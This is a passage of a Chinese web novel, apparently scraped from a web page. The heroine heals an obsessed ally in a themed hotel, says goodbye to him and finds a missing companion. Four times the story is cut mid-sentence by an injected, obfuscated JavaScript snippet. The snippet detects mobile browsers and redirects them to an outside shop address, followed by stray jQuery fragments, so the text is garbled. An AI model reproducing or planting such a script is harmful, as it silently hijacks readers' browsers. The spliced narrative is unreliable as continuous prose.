“嗯。”池田司不敢看她的眼睛,迟疑着点了点头,“一会儿回到鲸都,我......应该就要出发了吧。” 中途他似乎说了什么,只不过声音太小,到最后几乎含在喉咙里,池遥没有听到。 “但我不是还欠你一次治疗吗?”池遥有些疑惑,之前看他一个人悠然待在监狱里的样子,似乎也没什么急事要办,“一会儿回到鲸都,我们找个地方,我给你治疗。” “是,是有这么一回事,你愿意吗?你愿意的话就太好了。” 池田司的回答有些前言不搭后语,池遥想说点什么,但身旁的萧俨突然握住了她的手。 “这一次治疗,不要赶我走了吧?” 语气似乎有些委屈。 “不会的。”池遥摇摇头,“等和池田司分开,我们就去找梦之画廊,你有头绪吗?” “有一些。”萧俨点点头,见池遥眼睛眨都不眨地盯着他看,卖了个关子,“等我们和他分开,我再告诉你。” “好。” 池田司的能力相当有用,可他本人的性格却有些......池遥不知道该怎么形容,这个人浑身带着潮湿的气场,如同雨后的角落里滋生的青苔,总给她一种隐约有些不舒服的感觉。 她原本对萧俨抱有警惕的,但认识了池田司之后,在池田司的对比之下,萧俨显得分外正常。 虽然这样有些对不起池田司,但与池田司在一起,池遥愈发意识到了萧俨的好。 尽管萧俨的好意来得过于轻易,让她无法信服。 但至少,此时她和萧俨有着相似的目标,相同的目的地。 未来的事暂且不考虑了,至少现在,萧俨这个人对她而言分外可靠。 …… 又前进了一个小时,终于回到了鲸都。 池遥和萧俨虽然跑遍了鲸都各个区域,但并没有踏足鲸都边境线周边的区域,除了法贡集市附近以外,城市边界的其他地方过于偏远。 而眼前的街区,就是他们从未来过的地方。 此处来往的行人数量很多,大多都有意遮挡住了五官,周围的建筑十分密集,拥挤而杂乱。 是一个十分混乱的地方。 如此混乱的环境,三人默默融入拥挤的人流之中,观察着周围的建筑。 街道两侧的旅店数量很多,没走几步就会路过一家旅店。 “我们找一个旅店,开一个钟点房为你治疗,你看可以吗?”池遥问身边的池田司,为了不在混乱的人群中与对方的失散,她主动攥紧了池田司的手腕,池田司的手臂很消瘦,皮肤薄而紧绷,能清晰感受到腕骨的形状。 被她攥着手腕的人仍在愣愣地出神,似乎完全没听到她的话。 “池田?” 毫无反应。 “池田司?”池遥忍不住叫了他的全名。 “啊......” 池田司这才缓过神来,一双仍旧有些恍惚的眸子对上了池遥的双眼。 “你还记得我的名字啊......” 他又自顾自地欣喜起来,红着脸开口。 “其实也可以直接称呼我的名字的,我不介意。” 池遥没理会他的话,将自己刚才的话重复了一遍。 “可以啊......”池田司侧头看向附近的建筑,只在他们的视线范围之内,就有好几家旅店。 片刻后,他带着池遥和萧俨,朝着距离他们最远的旅店走去。 在大部分都是纯白色牌匾和建筑的鲸都,这个旅店的装潢显得有些不伦不类,一片明净的白色中,只有这间旅店的牌匾采用了偏红的粉色,旅店名字也格外特别。 “雾吻旅店?” 池遥轻声读出牌匾上放四个大字,池田司的选择出乎池遥的意料。 “他还挺有少女心的。” “噗嗤!” 听到池遥的话,一旁传来了萧俨的笑声。 不知为何,他的目光停留在旅店牌匾之上,又看看一头雾水的池遥,愈发笑得开怀。 “怎么了吗?” 萧俨的举动让池遥心中有些动摇。 难道有什么细节被自己忽略了吗? 这间旅店有问题? “你年纪太小了。”萧俨一边笑,一边动作轻柔地抚摸一把她的头发,“没什么,既然池田司选这个旅店,我们就进去吧。” 池田司已经先他们一步进入了旅店,池遥又看了一眼萧俨,他脸上挂着毫不掩饰的笑容,似乎有些看好戏的意味。 池遥收回视线,加快脚步,跟在池田司后面进了旅店。 雾吻旅店的大厅装潢同样以粉红色为主,连头顶的灯光都是雾蒙蒙的红色,让池遥再度想到了不法之地的光景。 旅店大厅靠窗一侧摆放着红色的毛绒沙发椅,沙发对面的柜台也是微浅的粉色,一个看起来比池遥还要小几岁的年轻女孩坐在柜台后,正好奇地打量着他们。 “请问有钟点房吗?”池遥来到柜台前,池田司已经站在柜台边等她了,而萧俨则站在她另一侧。 “有的,价格在这里。”女孩点点头,视线不自觉地打量起面前的三人。 柜台前的三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229051|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人中,站在最中间问话,做决定的女子身形不高,年龄看起来也不大,但她身侧的两个男人,一个五官极美,仿佛画中人一般;另一个虽然长相逊色几分,但面容柔和又漂亮,望着女孩的目光中能明显看出痴迷的神色。 真是一对......两对,哦不,三个郎才女貌的人啊。 前台女孩的视线鬼鬼祟祟地左右打量,嗅到了一丝八卦的气息。 池遥手中还剩下不少鲸円,负担得起一个钟点房的开销,不过为了省钱,她还是往最低报价。 “那要一间一小时的钟点房。” “啊?” 没想到,说完这话,前台的女孩惊讶地盯着她看。 “一间......一小时的钟点房?”她看看笑而不语的萧俨,又看看一直注视着池遥的池田司,忍不住发问。 “一小时......够吗?” “一小时还不够?”池遥也震惊了,给池田司治疗花不了多长时间,上一次也就花费了几分钟,这次间隔不久,池田司似乎也没受伤,时间只会更短。 “啊不......你们......嗯......没什么,这是你们的房间钥匙。” 前台显然也很少见到如此坦然又怪异的组合,支支吾吾半天决定当做无事发生,默默收钱,给池遥递出了房间钥匙。 “二楼左拐最里面的七号房。到时间的时候房间里的睡眠舱会有提醒,如果想续时间的话关掉睡眠舱的提醒就可以了。祝你们入住愉快。” 池遥接过钥匙,带着两人一同走上二楼。 雾吻旅店内部装潢和名字前后呼应,走廊的墙纸和装饰品有许多红心元素,走廊天花板垂下来的灯球散发着柔和的粉色光晕。 不知为何,越往前走,池遥心中渐渐产生了某种奇怪的情绪。 仿佛有什么东西被她忽略掉了,她反复回忆,一时间又想不到。 很快,就来到了酒店房间门前,池遥用钥匙开锁,一把推开了房门。 打开粉色的吊灯,宽敞的房间中,铺着粉红色的墙纸,房间深处是一张巨大的心形床铺,这是池遥来到鲸都后第一次见到除睡眠舱以外的普通床铺,粉红色大床正上方的墙壁上,挂着一幅油画,画着一对相拥的男女。 而房间正中心则摆放着一张巨大的浴缸,足够好几个人在浴缸里嬉戏打闹。 除此之外,床头柜上的盒子,挂在墙上的不明物体,窗边几张造型诡异的凳子,以及一旁神色各异的池田司和萧俨两人,都证明,这并非普通的旅店房间。 饶是池遥从未去过这类旅店,但没吃过猪肉,好歹也见过猪跑,此时看见房间内部的装潢布置,立刻就明白了。 怪不得前台的小姑娘会用那种眼神看她,原来,这是那种有主题的旅店。 池田司啊池田司,怎么会在一大堆正常旅店当中,偏偏选中了这家呢? 她看看房间中各种一言难尽的道具,又看看身边的两个男人,觉得很无助,脑子里闪过了一大堆弹幕。 什么都不知道就带着萧俨和池田司来订房间的自己大概也很不清白吧。 176. 雾吻旅店3 这么想着,池遥叹了口气,拍拍池田司的肩膀,指了指房间内的巨大床铺。 “躺上去,我给你治疗。” 她的语气比以往冷了些,脸上也没什么笑意,显得有些漠然。 然而,被她拍肩膀,池田司却愣了一下,身体不由地颤抖一下,垂着脑袋缓了片刻,才点点头,将身上披着的属于萧俨的长袍放在一旁,坐在了床上。 池遥则回过头,看向一旁的萧俨,萧俨进入房间后就自觉站在了门口,没有再向前走。 “等我一下吧,我们一会儿一起走。” 萧俨冲她点点头,心中不知是怎么想的,面上仍旧带着一如既往的微笑。 另一边的大床上,池田司没有完全躺下,而是倚靠在床头。 为了防止自己的鲜血弄脏床铺,他在身下铺了一条塑料布,稍微一动弹就会带动着身下的塑料布哗哗作响。 池遥回到池田司身边,池田司才伸出手,深吸一口气,强忍痛苦,再次掀开了自己的胸膛,他虽然没有直接表现出来,但控制不住发抖的身体明显昭示着他此时正在体会着撕裂自己的剧痛。 其实他不主动打开自己的胸膛,池遥也一样可以治疗啊。 池遥很不理解他的做法,况且经过这一天的相处,她大概明白了,池田司的性格就是这样,阴郁而疯癫,自认为是个正常人的池遥无法与他共情,也无法理解。 反正全部顺着他就好了。 她不再多想,调动掌心之下蕴藏的热流,将手再次放入池田司的胸膛内。 这一次,池田司身体内的损伤不算严重,但仍旧超出了池遥的预料。 刚刚只是在监狱内和不法之地为他们引路,以及告知池遥鲸落世界的情报,苏榕的情报,就这样短短几个小时的工夫,池田司体内的器官再度缺失了一部分。 缺失的部分再度被黑雾占据。 看来,池田司嘴上说着没事,实际上却为此付出了很多啊。 池遥的表情不由地软化几分。 算了,虽然池田司这个人不正常,但至少对她和萧俨很好,是一个值得结交的人。 熟悉的热流灌入体内,破损的内脏再度恢复原状。 熟悉的战栗感再度攀上四肢百骸,池田司深吸一口气,努力压抑着伴随体内的剧痛一同升腾起来的热意,以及不受控制滋生蔓延的阴暗想法。 不行,他要克制住自己,不能在池遥面前失控。 仿佛感受到了池田司的动摇,体内的恶魔也在蠢蠢欲动,试图趁着他意志动摇的间隙夺取他的身体。 在池遥的治疗之下,体内的恶魔也愈发强大。 或许是对池遥产生了不该有的念头,占据身体一隅的阴影分外急迫地试图侵占他的意识。 池田司明白,对池遥的企图之心是自己与恶魔共同的情绪,体内的恶魔想必也与自己一样。 渴望被她触碰,渴望被她温柔以待,渴望她的治愈能力,渴望她的躯体,她身体的每一个部位,对她的一切痴迷又依恋。 恶魔也想要占据他的躯体,与池遥接触。 池田司自然不会给它这个机会。 手下的躯体突然挣动一下,带动着身下的塑料布发出刺耳的响声。 池遥不由地抬头看向青年的脸。 池田司此时垂着头,额前的发丝挡住了上半张脸,但池遥却仍旧看到了他隐没在额发之下的眼睛,那双漆黑的眼睛不知为何竟然掺杂了几分血光,幽幽地盯着她,一动不动。 “你什么时候和他分手?” 或许是为了防止萧俨听见,池田司的声音压得极低,几乎只剩下气声,眼中的情绪浓郁得仿佛要从眼睛里流淌出来。 等等。 池遥一愣。 这都什么话?这是给她转到哪个频道了? 这还是鲸都吗? 和谁分手啊? 她眼中的震惊根本无法掩藏,震撼到无言以对,直愣愣地看着池田司的脸。 “不分手也可以的......” 池田司将她的反应理解为无形的拒绝,再次开口,语气急迫了些。 “你不一定只要他一个伴侣吧?他那么无趣,连每次笑起来的时候嘴角的弧度都分寸不变,你很快就会腻味的!而且他成为天赋者很久了吧?那么大年纪还顶着一张年轻的脸勾引你,你看着不恶心吗?我就算加上成为天赋者之后的时间,也才二十二岁,正是最好的年纪。” “我不是想要你和他分开,我就是觉得他不够好,想必也不能面面俱到的照顾你吧?他总有顾不到的时候,我就可以代替他陪在你身边,我比他更会取悦别人,也更会讨好人,你可以试试的。” “你那么好,有几个情人都不奇怪,我真的一点都不在意,就算嫉妒得想给他一刀也不会真的动手的。而且我很干净,我从来没让任何人碰过,没谈过恋爱,身心都很干净,唯一肖想过的人只有池遥你一个,你会介意我没有经验吗?” 池遥沉默的这一小段时间,他就叽里咕噜说了一大堆,把池遥说得哑口无言。 她有点庆幸自己没否认和萧俨的关系了,虽然她和萧俨之间真的清清白白,但她担心池田司知道她单身的话会做出更激进的发言。 现在虽然他说的话也足够惊人,但她至少可以以萧俨为挡箭牌全部拒绝回去。 “我......” 说拒绝的话之前,池遥先回过头,与萧俨对视一眼,萧俨似乎完全没有发现任何异常,冲她展颜一笑。 或许是真的被池田司的话语影响到了,池遥还真发现,萧俨每一次笑起来的面部表情都极为相似。 这开朗又阳光的笑意仿佛是被他焊在脸上的一张面具,一旦被她察觉到异常,再度观察萧俨的脸,就会发现,这种她习以为常的开朗笑容竟然变得无比虚假。 好吧,尽管萧俨比池田司正常,但也不一定就完全没有问题。 或许是池遥回头看萧俨的时间太长了,池田司突然拉了一把她正在施展能力的手,把池遥拽得一个趔趄,本来轻轻触碰着池田司血肉的手也狠狠捅了进去,池田司瞬间绷紧身体,喉中溢出隐忍的哼声。 “.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234971|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....池遥!” 他用缠人的语气叫出她的名字。 池遥也被吓了一跳,立刻收回了手,然而,那只手却被池田司紧紧按住了,她用了点力才把自己的手从他体内抽了回来。 这一下把池田司伤得不轻,又得从头开始治疗了。 池遥有些头疼,只不过,最初的慌乱褪去过后,她立刻意识到,池田司的伤势虽然是她造成的,但源头是池田司主动拽了她一把,自己也没必要感到愧疚。 “算了。” 池遥看向池田司的脸,他痛得额前渗了一层冷汗,视线都有些虚焦。为了防止再出现刚才的状况,她没有听从池田司的话,将手放回他的体内,而是擦拭了一把沾满鲜血的手,覆盖在他的额头上。 池田司已经将自己锁骨下的胸膛完全撕裂开了,她没找到能直接触碰到的皮肤,索性将手盖在了他的额头上。 这样虽然也能治疗,但耗费的治愈能力要更多一点,不过给池田司治疗的治愈能力对于池遥而言不过杯水车薪,耗费多一点就多一点吧,问题不大。 注意到池遥向他的脸伸出手,池田司本能闭上眼。 赖于天赋者的五感强化,池田司的五感比普通人更加敏锐,这种敏锐也作用在他的痛觉上,不过此时,他忽然开始感激自己强化后的五感,他清晰的感受到了池遥覆盖在他额头上的手,几乎在脑海中勾勒出了那只手的形状。 怎么办呢,他永远猜不到池遥下一步的举动,又无法抗拒地为池遥的每一个动作而心花怒放。 池遥既然将手搭在他的脸上,他们之间的距离肯定更近了。 然而,池田司不敢睁开眼睛,只有纤长的睫毛不受控制地震颤个不停。 若是看到池遥近在咫尺的脸,他一定会无法自控的。 闭上眼睛,摒弃视觉之后,其他感官变得更加敏锐。 他能清晰的感受到,柔和而温暖的暖流,缓缓注入他的额头,渐渐涌入身体各个部位,修补他受损的身体。 实在太温暖了,仿佛要侵入他的脑袋里,夺取他的意识。 有一瞬间,池田司根本无法思考,思维变成一团浆糊,头晕目眩,根本无法控制自己的思绪。 思绪就此断了线。 池遥将手覆盖在池田司的额头上,这种治疗方法有些繁琐,她不太适应,微微弯下腰,凑近了池田司的脸,蹙着眉观察他的情况。 突然间,池田司睁开了眼。 一双漆黑的眼,不知为何变成了妖异的红色,直直看向了她。 连带着池田司略显阴郁的面容,也带上了几分邪气。 “你还好吗?” 池遥立刻直起身,没收回手,关切地看着他。 对方的状态不对劲,她虽然有所警惕,但没表现出来,她的手还盖在池田司的额头上,池田司一旦有异常,她立刻就可以抽走他的生命力。 然而,那双血红色的眼眸注视着她,眼中带着无法掩饰的依恋。 “池遥......” 他最终只是叫了一声池遥的名字。 177. 雾吻旅店4 池田司从一片恍惚中缓过神来,才意识到,自己刚刚意识断线时,身体被体内的恶魔占据了。 他缓缓睁开眼,池遥似乎并未察觉到异常,仍旧将手搭在他的额头上。 什么也没有发生。 他在心中松了口气,仔细一想,又的确如此。 他与体内的恶魔对池遥的情感扭曲又病态,可根源终究是爱意。 无论是他还是体内的恶魔,都不会主动伤害池遥。 “你没事吧?” 注意到池田司那双渗人的血色眼眸再度变回黑色,池遥在心中松了口气,开口问道。 刚刚池田司眼睛变色后,虽然没有做什么,只是用极为复杂的视线盯着她,但眼神中的情感过于浓重,让她十分紧张。 幸好他很快就恢复正常了。 “没事。”池田司长出一口气,注意到池遥收回了手。 在他失神的期间,池遥已经结束了治疗。 可是,即便池遥的手已经离开了他的身体,池田司却仍旧能感受到残留在他皮肤上的触感。 不知不觉间,他对池遥的依赖感越来越强,现在甚至只要她的手离开就会感到患得患失。 整颗心都被她操纵了。 “池遥......” 他忍不住叫住面前的人,语气柔和了一些,恳求她。 “你要不要再抚摸一下我的肋骨和内脏?那都是拜你的治愈能力所赐,重新生长出来的器官,很干净的。” “我的身体你喜欢吗?要不要带走一部分,你想要什么我都会给你的。如果喜欢的话,也可以带走一截我的内脏,或者一截肠管,我的身体很干净,一点都不脏的。” 他越说越离谱了,池遥立刻后退一步,轻咳一声,打断了他的疯话。 “很干净?你......” 该不会像处理熟食一样把自己料理了吧? 她的思维也被池田司带动着,越想越离谱。 “我只要心脏还在就能活。已经很久没有进食过了,也不会有饥饿感。” 池田司从她的表情猜测出她大概是想歪了,连忙解释道。 身后突然传来一声轻笑。 注意到池遥收回了手,萧俨已经从门口走到了池遥身边,递给池遥一张纸,让她擦拭自己的手。 池遥接过纸巾,目光停留在池田司仍旧没有合拢的胸膛之上,沉默半天,目光一寸寸扫过他已然恢复原状的血肉之上,确定的确已经全部恢复了,才收回目光。 “你也可以尝尝我的血,我的血味道很甜,很好喝的。” 池田司抬眸看她,仿佛池遥若是不从他身体内取走什么就不愿罢休。 “你把胸膛合上吧。” 沉默半晌,池遥无奈地叹了口气。 “这么一直撕裂自己不疼吗?” 说着,她拉着萧俨的袖子,几步走向房间门口,推开门之前,看了一眼手腕上的手表。 “距离退房还剩二十分钟,我们先走了。” 怕池田司再说出什么惊为天人的话,池遥拉着萧俨推门就走。 …… “嘭!” 门重重关上。 门口属于两个人的脚步声越来越远,渐渐地,池田司连他们的声音都听不到了。 他仍旧一动不动地倒在床上,池遥一走,他才再次意识到,自己撕扯开胸膛的剧痛一直存在,只不过刚刚他的注意力全部放在池遥身上,才忍住了这种剧痛。 他慢慢直起身体,合拢胸膛,从床边站起身,去洗干净自己手上和身上残留的血迹,又回到床前,收拾自己铺在床上的塑料布。 塑料布沾染了一些他自己的血,已经干透了。 青年垂着眼,目光从塑料布上一寸一寸移动,妄图找出些什么。 几秒后,他的动作骤然停下。 紧接着,他抬起手,小心翼翼地从塑料布上取下了什么东西,捏着那个东西,慢慢放在了手心里。 掌心里,是一根长发。 发丝细而柔软,乍一看是黑色的,但在光线反射之下却泛着微弱的光,不似纯黑色那般浓,长度远超过池田司的头发。 这根发丝明显不是池田司本人的。 他珍重地将这根长发握在手心里,将手攥紧成拳,贴在了心口处。 胸膛内的心脏正在剧烈跳动,每一次搏动都在渴望着池遥的触碰。 明明刚合拢的身体仍在隐隐作痛,池田司却忍不住再度扯开胸膛。 手中的发丝轻飘飘地落进体内,与血肉融在一起。 将池遥遗落的发丝藏进身体里后,池田司才再度合拢胸膛,深深吸了一口气。 身体因为异物的侵入而产生细密的疼痛,池田司撑着床铺上的塑料布,仔仔细细找了一圈,甚至在旅馆房间的地面上都仔细找了一圈,可惜,没有找到任何属于池遥的东西,连一根睫毛都没有。 好遗憾啊。 他边叹气,边把被鲜血染脏的塑料布叠好,收回到空间吊坠里,披上萧俨给的白袍,最后检查了一遍房间,在钟点房时间耗尽后才不舍地离开了房间。 池遥一定已经离开了吧?那个银发异瞳的混蛋肯定把她骗走到其他地方,不让池遥再见到他了。 心中诸多想法一个接一个冒出来,体内还隐隐作痛,如同一粒砂砾闯进了柔软的蚌肉中,誓要炼出珍珠一般,不住地摩挲着他脆弱的躯体。 池田司摇摇晃晃地来到旅店大厅,却突然听到了一个熟悉的声音。 “司。” 是池遥。 池遥拉着萧俨离开房间后,本来是打算直接走人的,然而,刚走到大厅,却意识到了一个问题。 他们所在的这片街区是第一次来,而且他们是从不法之地来到这里的,根本无法判断这个街区究竟在鲸都的什么方位,虽然直接离开也不是找不回他们的住所,但是恐怕要花费很多时间。 还不如等池田司出来,看看池田司能不能帮他们指引一下方向。 萧俨对此没有意见,只是听到池遥提池田司的名字时,轻飘飘的问了一句。 “你已经和他很熟悉了吗?” “嗯?”池遥不明白他的意思。 “你已经不叫他的姓,直接称呼他的名字了吗?” “名字只有一个音节呀,比较好记。” 听了池遥的解释,萧俨只是点了点头,没有回答。 然而,等了十几分钟,才终于等到池田司晃晃悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237689|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠地走出来。 只是十几分钟不见,他的脸色似乎更苍白了些,微微蹙着眉头,似乎在忍耐某种疼痛。 “我想着你毕竟帮了我们很多重要的忙,还是和你道个别比较好。” 池遥主动来到池田司面前,观察着他的表情。 “你是不是又受伤了?” 该不会是她刚刚忽略了什么地方没治疗,还是眼前这人在短短十几分钟又给自己搞出一大堆伤口? 她习惯性地抬手,想要用能力检查一下池田司的情况,手腕却被池田司握住了。 他刻意没有碰池遥的手,握着池遥的手腕,轻轻将她的手推了回去,温和地拒绝了她。 “没事。” 三人一同走出旅店大门,此时天色已经暗了下去,街上的人稀疏了一些,已经到了告别的时候。 三个人站在旅店门前,都没动弹。 “你和我们同路吗?”池遥问池田司。 “我要回不法之地,我要去的景点在不法之地里。你们朝这个方向走就好。” 池田司帮池遥二人指引了之后的方向。 池遥点点头,目光停留在池田司身上。 这下,必须要和池田司道别了。 她对于池田司这个人的观感很复杂,池田司虽然实力强大,但性格实在有些奇怪,又随时随地发癫,池遥对他算不上很有好感,但并不讨厌。 “那我们就走了,保重。” 想了想,她只说了这句话,就后退了几步,准备离开。 “池遥!” 池田司叫住了她。 “我之前和你说的所有话都是真的!”他的神色带着恳切,目光戒备地从池遥身边的萧俨身上划过,“无论是......治疗时说的话,还是......其他时候的话,都是真心话!你现在拒绝也没关系,未来如果想答应的话,我随时都接受的!” 顾及池遥身边的萧俨,池田司的话语遮遮掩掩,不敢说得太明白。 池遥本以为他的话结束了,然而,下一秒,池田司却突然快步上前,几乎贴在她身上,埋头贴近她的耳畔,轻声说道。 “池遥,我们下一个世界见。” 这句话说完,他立刻后退,很快撤退到与池遥搁着几米的距离,认真地注视她。 “......好。” 池遥迟疑着点点头。 哪有池田司这种人,这一次的离别还没开始,他就已经预见了未来重逢的时间。 只不过,下一个世界又指什么呢? 她没有过多考虑这个问题,既然池田司说他们未来还会见面,那么肯定就是还会重逢。 这么想着,因离别而产生的那一点遗憾也尽数消散,她冲池田司笑着挥挥手,拉着萧俨朝着池田司指引的方向快步离开。 反正未来还会相见。 那么这一次分别就不必那么难过。 直到池遥的身影消失在视线范围之内,池田司才慢吞吞地转过身,朝着景点的方向走去。 他已经询问过了恶魔,他会和池遥在下一个世界重逢的。 到时候,池遥身边未必还会有萧俨这个人。 说不定,到那时,他会比现在更靠近池遥。 178. 鲸都之外1 循着池田司指引的方向,池遥和萧俨一路向前。 然而,走了一段时间,周围仍旧是她完全不熟悉的道路。 “我似乎没来过这里,这里真的是通向旅店的路吗?池田司说是给我们指路,这是指到哪里来了?这还是鲸都吗?” 池遥忍不住长叹一口气,前一晚他们在监狱里通宵一夜,现在眼看着就要入夜了,她却仍旧没回到旅店,身体与精神陷入双重疲惫,心情也有些低落。 “累的话,我背你?” 萧俨微微笑着,侧头看她。 这两人四处奔波两天一夜,夜晚甚至没有休息,池遥眼睛都熬红了,耷拉着脑袋,萧俨却仍旧精神充沛,脸上的笑容照旧。 不过,在池田司的提醒过后,池遥看萧俨的笑容只觉得别扭。 “要是不想笑,也不用强迫自己笑的。”她忍不住提醒一句,担心破坏了二人之间的气氛,又补充一句。 “我们关系都这么熟了,怎么舒服怎么来就好。我是很累,但你应该比我更疲劳才对吧,不用背我。” 听到池遥的话,萧俨身体僵了一瞬,立刻恢复正常。 “我的体力和精力比你强很多,没关系的。这里你大概没来过,我好像隐约有印象,再往前走一段,有一个音乐喷泉广场,我们一起去过那里。” 他收起脸上的笑容,微微绷起脸,池遥抬头瞥了一眼他的面容,觉得他冷着脸似乎更自然一些。 只不过,池遥印象中的萧俨,一直都是个随时随地带着笑意,开朗又热情的人,虽然这个初印象已经接近崩塌,他利落的身手与对其他人的态度似乎并不算热情。 但池遥心底仍旧认为萧俨是个开朗的E人。 如果他连无时无刻挂在脸上的笑意都是伪造出来的,那么他的真实性情究竟是什么样的呢? 她垂眸思索着,突然感觉手心一暖。 萧俨虽然收起了脸上的笑容,但却习以为常地牵起了池遥的手,他的手掌与池遥的手温度相近,手心贴着手心,彼此掌心的热度交汇,池遥只觉得掌心发麻。 这个动作驱散了她心中的疑虑,她暗暗松了一口气,轻轻回握住萧俨的手。 “既然不要背,那就先拉着手吧,天色暗下来了,防止失散。” 萧俨的语气一如往常,指尖却微微发抖。 “可以的。” 只是天黑了而已,他们都是五感经过强化的能力者,自然不会囿于黑暗,失散更是不太可能的事。 以往也不是没有夜晚一起外出的情况,那时他们的距离似乎不会像现在这般近。 但不知为何,池遥没有戳穿萧俨话里的漏洞,二人心照不宣地拉着手,一路向前。 很快,池遥就看到了萧俨话中的音乐喷泉广场。 的确,刚到鲸都的那几天,她和萧俨在鲸都城区内四处溜达,来过这个音乐喷泉广场。 即便是在夜色之下,广场上也被五颜六色的灯光填满,环形的彩灯光线交汇之处,是一个壮观的大理石雕像,雕着一只巨大的鲸鱼。鲸鱼四周是四散的喷泉水柱,鲸鱼头顶也喷出高达几米的水柱,水花四溅,看上去壮观极了。 然而,这个壮观的喷泉区却被周围的彩灯灯带严密地围住,也阻挡了行人的脚步,像一圈防护带一样保护着喷泉。 圆形广场以喷泉为圆心,外圈建着几条环形长廊,长廊内部的音响播放着柔和的音乐。 第一次来到这个广场时,池遥和萧俨对鲸都还不了解,只抱着游客的心态,参观似的逛了一圈广场就离开了,然而,这一次,两人再走到喷泉外的灯带前,近距离欣赏喷泉雕像时,立刻就发现了问题。 明明他们能够听到喷泉的水声,眼前也能看到溅落的水珠。 池遥以前看过喷泉表演,近距离站在喷泉前,即使站在不被喷泉水柱溅到的距离,也能感受到喷泉的潮气,面部没一会儿就敷上了一层细密的水珠,呼吸时能明显感觉到周围的空气十分湿润。 但此时,池遥深吸一口气,周围的空气仍旧干燥,似乎完全没有被喷泉影响。 “这喷泉......” 她忍不住伸出手,然而仍旧触碰不到水珠,手掌停留在喷泉前半天,也感受不到任何溅出的水意。 “是假的。” 萧俨在一旁接过她的话。 “应该和路边的花坛一样,是拟态投影出来的。” 是的,池遥差点忘了,鲸落城区内到处都是虚假的拟态。 她本以为只有路边的绿植是拟态技术,没想到连广场的喷泉都是,看来拟态技术在鲸都的覆盖程度比他们想得更加广泛。 池遥点点头,目光透过雕像,四处环视一圈。 时间已晚,路上的行人大多都在赶往自己的家,广场上没几个人,在他们斜前方不远处,有两个男人,一个背对着她,另一个正对着她,看起来大概三十岁左右,二人似乎正在谈话。 背对着她的那个人影不高,身形纤瘦,只看背影就能感觉到对方年纪不大。 池遥眼睛一亮,无意识地抓紧了萧俨的手。 她总算知道池田司给他们指这一条路的用意了。 从一开始,池田司指的就不是回旅店的道路,而是另一条路。 想到不久前与他们分别的池田司,池遥心中不由地升腾起一股感激之情。 萧俨侧头看了她一眼,顺着她的目光看去,视线同样落在了远处的二人身上。 这个背对着她的人...... 池遥深吸一口气,按捺住心底喷薄而出的喜悦,意识到自己的指甲还抓在萧俨手上,立刻松开手,朝着背对着她的人的方向走去。 她的步伐很快,脚步很轻,只看动作也能看出她兴奋的心情。 萧俨站在原地,目光落在她随着动作一晃一晃,格外活跃的发尾,出神了几秒,才大步追了上去。 “苏榕!” 走到背对着她的人身后,看着对方比她高不了多少的发顶,池遥终于叫出了对方的名字。 来到这个世界将近一个月,她终于找到他了! 根本抑制不住喜悦的心情,池遥的脸上也满是笑意,目光在他身上上下打量。 一个月不见,苏榕也换上了鲸都的连体衣,把少年纤细漂亮的体型展现得一览无余,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17247544|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一贯爱干净,即便是人形也把自己收拾得干净整洁,与他一对比,奔波了两天,浑身上下又脏又狼狈的池遥不由地有些心虚。 面前的人慢慢转过身来,露出一张熟悉的清秀面庞。 少年微微抬眼,明明就站在她对面,却偏偏移开视线不看她,只用余光打量池遥,又看向站在池遥身后,满面笑容的萧俨,半晌,语气冷淡地开了口。 “你认得我?你是哪位啊?” “诶?” 池遥愣了一下,还真被他唬住了,但看着少年拼命移开不看她的目光,又看看他微红的耳尖,很快反应过来,这家伙又在闹别扭。 “哼,过了将近一个月才来找我,你又跟着其他无关的人卷入和你完全无关的事件里了?” 听了苏榕的话,池遥在心中叹了口气,自家的小猫又生气了。 不知道为什么,明明变成小猫以后又乖又粘人,会喵喵叫冲她撒娇,但恢复人形后就是一副别扭的样子,说话都带刺。 算了,自己养的小猫,自己哄吧。 “一直在找你呢。”池遥放柔声音,去拉苏榕的袖子,被他一扭身躲开了。 